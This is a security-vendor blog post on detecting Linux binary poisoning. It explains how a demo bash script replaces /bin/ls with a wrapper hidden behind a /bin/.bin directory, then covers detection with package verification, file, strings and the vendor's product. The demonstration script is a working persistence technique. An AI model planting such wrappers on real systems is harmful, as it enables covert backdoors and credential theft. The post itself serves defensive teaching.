Detecting Linux Binary File Poisoning

Malware Rootkits Linux Security Linux Forensics

Date
June 13, 2018
Author
The Sandfly Security Team
poison bottle graphic

Let’s talk about Linux binary poisoning.

Binary poisoning is tampering with a system command and replacing it with a malicious version. This can be a wholesale replacement with a new file designed to act like the old command, or tampering with the in-place executable so it runs malicious code directly.

Why does this matter? Well if you poison a command, and an unsuspecting user runs that command, then you can execute code as that user. Here’s an example output from a poisoned ls command:

root@example:~# ls -al /bin
total 16060
drwxr-xr-x 4 root root 4096 Jun 12 22:17 .
drwxr-xr-x 23 root root 4096 Jun 12 22:15 ..
-rwxr-xr-x 1 root root 1037528 May 16 2017 bash
drwxr-xr-x 2 root root 4096 Jun 12 22:17 .bin
-rwxr-xr-x 1 root root 520992 Jun 15 2017 btrfs
-rwxr-xr-x 1 root root 249464 Jun 15 2017 btrfs-calc-size
lrwxrwxrwx 1 root root 5 Jun 15 2017 btrfsck -> btrfs
-rwxr-xr-x 1 root root 278376 Jun 15 2017 btrfs-convert
-rwxr-xr-x 1 root root 249464 Jun 15 2017 btrfs-debug-tree
-rwxr-xr-x 1 root root 245368 Jun 15 2017 btrfs-find-root
-rwxr-xr-x 1 root root 270136 Jun 15 2017 btrfs-image
-rwxr-xr-x 1 root root 249464 Jun 15 2017 btrfs-map-logical
-rwxr-xr-x 1 root root 245368 Jun 15 2017 btrfs-select-super
-rwxr-xr-x 1 root root 253816 Jun 15 2017 btrfs-show-super
-rwxr-xr-x 1 root root 249464 Jun 15 2017 btrfstune
-rwxr-xr-x 1 root root 245368 Jun 15 2017 btrfs-zero-log
-rwxr-xr-x 3 root root 31288 May 20 2015 bunzip2
-rwxr-xr-x 1 root root 1964536 Aug 19 2015 busybox
-rwxr-xr-x 3 root root 31288 May 20 2015 bzcat
lrwxrwxrwx 1 root root 6 May 20 2015 bzcmp -> bzdiff
-rwxr-xr-x 1 root root 2140 May 20 2015 bzdiff
...
-rwxr-xr-x 1 root root 89 Jun 12 22:17 ls
...
-rwxr-xr-x 1 root root 5764 Oct 27 2014 zdiff
-rwxr-xr-x 1 root root 140 Oct 27 2014 zegrep
-rwxr-xr-x 1 root root 140 Oct 27 2014 zfgrep
-rwxr-xr-x 1 root root 2131 Oct 27 2014 zforce
-rwxr-xr-x 1 root root 5938 Oct 27 2014 zgrep
-rwxr-xr-x 1 root root 2037 Oct 27 2014 zless
-rwxr-xr-x 1 root root 1910 Oct 27 2014 zmore
-rwxr-xr-x 1 root root 5047 Oct 27 2014 znew
POISONED /bin/ls active!
root@example:~#

Here the ls command worked as normal, but when it completed it printed the text “POISONED /bin/ls active!” to the console. What we’ve done here is replace the normal ls command with a script to run arbitrary commands along with ls.

How to Poison a Binary

Let’s look at the script used to poison the ls command. Do not run this on a production system. Spin up a disposable virtual host to beat on when tampering with core system commands!

#!/usr/bin/env bash
# Linux binary poisoning example.
# Based on backdoorme poison script.

echo "Poisoning ls command."
echo "Making backup of ls to /bin/ls.bak"
if [ ! -f /bin/ls.bak ]; then
    cp /bin/ls /bin/ls.bak
fi

echo "Making /bin/.bin to hold original binary"
mkdir /bin/.bin
echo "Moving original binary to /bin/.bin"
mv /bin/ls /bin/.bin/

echo "Creating poisoned ls script in /bin"
echo "#!/bin/bash" > /bin/ls
echo "( ls & ) > /dev/null 2>&1 && /bin/.bin/ls \$@" >> /bin/ls
echo "echo \"POISONED /bin/ls active!\"" >> /bin/ls
chmod +x /bin/ls

echo "Done"

Let’s go over what is going on here:

  1. We make a backup of /bin/ls so you can back out the changes this script made easily for the demo.

  2. We make a hidden directory called /bin/.bin to hold the original command.

  3. We move the original /bin/ls to /bin/.bin/ls.

  4. We now create a new script as /bin/ls. This script has the following in it:

#!/bin/bash
( ls & ) > /dev/null 2>&1 && /bin/.bin/ls $@
echo "POISONED /bin/ls active!"
  1. We set executable permission on this script and exit.

The new /bin/ls script takes the command line arguments and sends them to the real hidden /bin/.bin/ls command. This command is then run to do something malicious (in this case we sent a message), and then the real ls command is run.

Of course we don’t have to send a message. We could do all sorts of things such as check for your UID and execute commands as you, open a new backdoor, insert new persistence commands in cron, etc. The list is endless. Every time you run ls our malicious commands will run.

We don’t even have to use ls of course. We could use passwd, ssh, or other critical system commands to grab passwords and help us gain access to other hosts as you do your normal activity. There are other ways to spice this up, but we’ll leave it to your imagination.

Manually Finding Poisoned Commands on Linux

Finding poisoned commands is quite time consuming if you want to do it by hand. For instance just on Ubuntu under the /bin and /sbin directories there are easily over 500+ commands. If you throw in /usr/bin and /usr/sbin you are at thousands of commands. So, the first thing to try is to run package verification to speed up the process.

Package verification will be one of the following depending on your version of Linux:

Redhat based

rpm -Va | grep ^..5.

Debian/Ubuntu based

debsums -c

In the above, we ran the debsums command on the affected Ubuntu host and we immediately see a problem:

root@example:~# debsums -c
/bin/ls

Next thing if package verification shows nothing is to run the file command against your core system binary directories and look for any files that are not ELF executables. Yes, an attacker can replace a binary with another compiled binary. However, a shell replacement is the easiest to pull off and doesn’t require an attacker loading up any pre-compiled files or source code that may break or alter the system too much (loading the full gcc compiler may be noticed).

The command below will show us any command that is not a compiled executable. It also will ignore any file that is a link to another file:

file /bin/* | grep -v ELF | grep -v link
root@example:~# file /bin/* | grep -v ELF | grep -v link
/bin/bzdiff: POSIX shell script, ASCII text executable
/bin/bzexe: POSIX shell script, ASCII text executable
/bin/bzgrep: POSIX shell script, ASCII text executable
/bin/bzmore: POSIX shell script, ASCII text executable
/bin/egrep: POSIX shell script, ASCII text executable
/bin/fgrep: POSIX shell script, ASCII text executable
/bin/fsck.btrfs: POSIX shell script, ASCII text executable
/bin/gunzip: POSIX shell script, ASCII text executable
/bin/gzexe: POSIX shell script, ASCII text executable
/bin/lesspipe: POSIX shell script, ASCII text executable
/bin/ls: Bourne-Again shell script, ASCII text executable
/bin/red: POSIX shell script, ASCII text executable
/bin/setupcon: POSIX shell script, UTF-8 Unicode text executable
/bin/uncompress: POSIX shell script, ASCII text executable
/bin/unicode_start: POSIX shell script, ASCII text executable
/bin/which: POSIX shell script, ASCII text executable
/bin/zcat: POSIX shell script, ASCII text executable
/bin/zcmp: POSIX shell script, ASCII text executable
/bin/zdiff: POSIX shell script, ASCII text executable
/bin/zegrep: POSIX shell script, ASCII text executable
/bin/zfgrep: POSIX shell script, ASCII text executable
/bin/zforce: POSIX shell script, ASCII text executable
/bin/zgrep: POSIX shell script, ASCII text executable
/bin/zless: POSIX shell script, ASCII text executable
/bin/zmore: POSIX shell script, ASCII text executable
/bin/znew: POSIX shell script, ASCII text executable
root@example:~#

Looking at the above you’ll have to eyeball anything that looks suspicious. It is perfectly normal for some commands to be scripts, but in the above the ls command is listed as a script and that is definitely not normal.

If you suspect a command may be poisoned, go look at it directly with the strings command to see if anything pops out. Do not run strace on any file you think may be malicious. We put that in bold because some people may want to try the strace command, but when you run strace it runs the actual executable file on the host which is a really bad idea.

You can also use a standard file integrity monitor to spot this kind of activity if you set it up avoid a lot of false alarms.

Automatically Finding Poisoned Commands on Linux

This is the Sandfly blog, so we’re going to show you how Sandfly’s automated agentless intrusion detection can spot this kind of attack easily. Here is what a host with a poisoned /bin/ls like above will show in Sandfly:

Sandfly Poisoned Linux Binary Alarms

What’s that? We have two alarms here. The first was our poisoned binary alert, but what about the hidden directory? Did you miss it? It’s easy to miss something like that. Go up above and look at the directory listing again and notice this:

root@example:~# ls -al /bin 
total 16060 
drwxr-xr-x 4 root root 4096 Jun 12 22:17 . 
drwxr-xr-x 23 root root 4096 Jun 12 22:15 .. 
-rwxr-xr-x 1 root root 1037528 May 16 2017 bash 
drwxr-xr-x 2 root root 4096 Jun 12 22:17 .bin
...

That’s an alert on a weird hidden directory under /bin/.bin with a creation time identical to our malicious ls.

Hidden directories under system binary areas are very suspicious. If you missed this when looking at that ls output, you can be sure Sandfly didn’t. Sandfly is very good at seeing suspicious activity like this.

Let’s look first at the hidden directory:

Poisoned Linux Binary Hidden Directory

That’s pretty straightforward. There is a hidden directory under /bin that looks really strange. Now let’s look at the main alarm:

Poisoned Linux Binary Sandfly Alert

Here’s the star attraction. The binary /bin/ls is in fact not a binary at all. It’s an unknown type (text in this case). Sandfly also gives you the file creation times and other data to help you narrow down exactly when it happened and what accounts may have been involved.

You now have enough information to begin an investigation on this box.

Dormant vs. Active Attacks

File binary poisoning is a classic case of a dormant attack. This is a lot different than something active on your host like a malicious process. Dormant attacks just lie around like a booby trap waiting to go off. They are very good at going unnoticed because they are not doing anything suspicious until run.

Sandfly always searches for both active and dormant attacks. The latest Sandfly update 1.1.18 is able to spot binary poisoning before it becomes a major headache now as well.

Time is your enemy when your systems are compromised. Sandfly has checks in the standard rotation that constantly look for things out of place like poisoned binaries or suspicious directories. We hunt for intruders 24 hours a day on your Linux hosts for you. Best of all, we do it without needing to load agents on your endpoints by using our agentless technology. Learn more today


Let Sandfly keep your Linux systems secure.

Learn More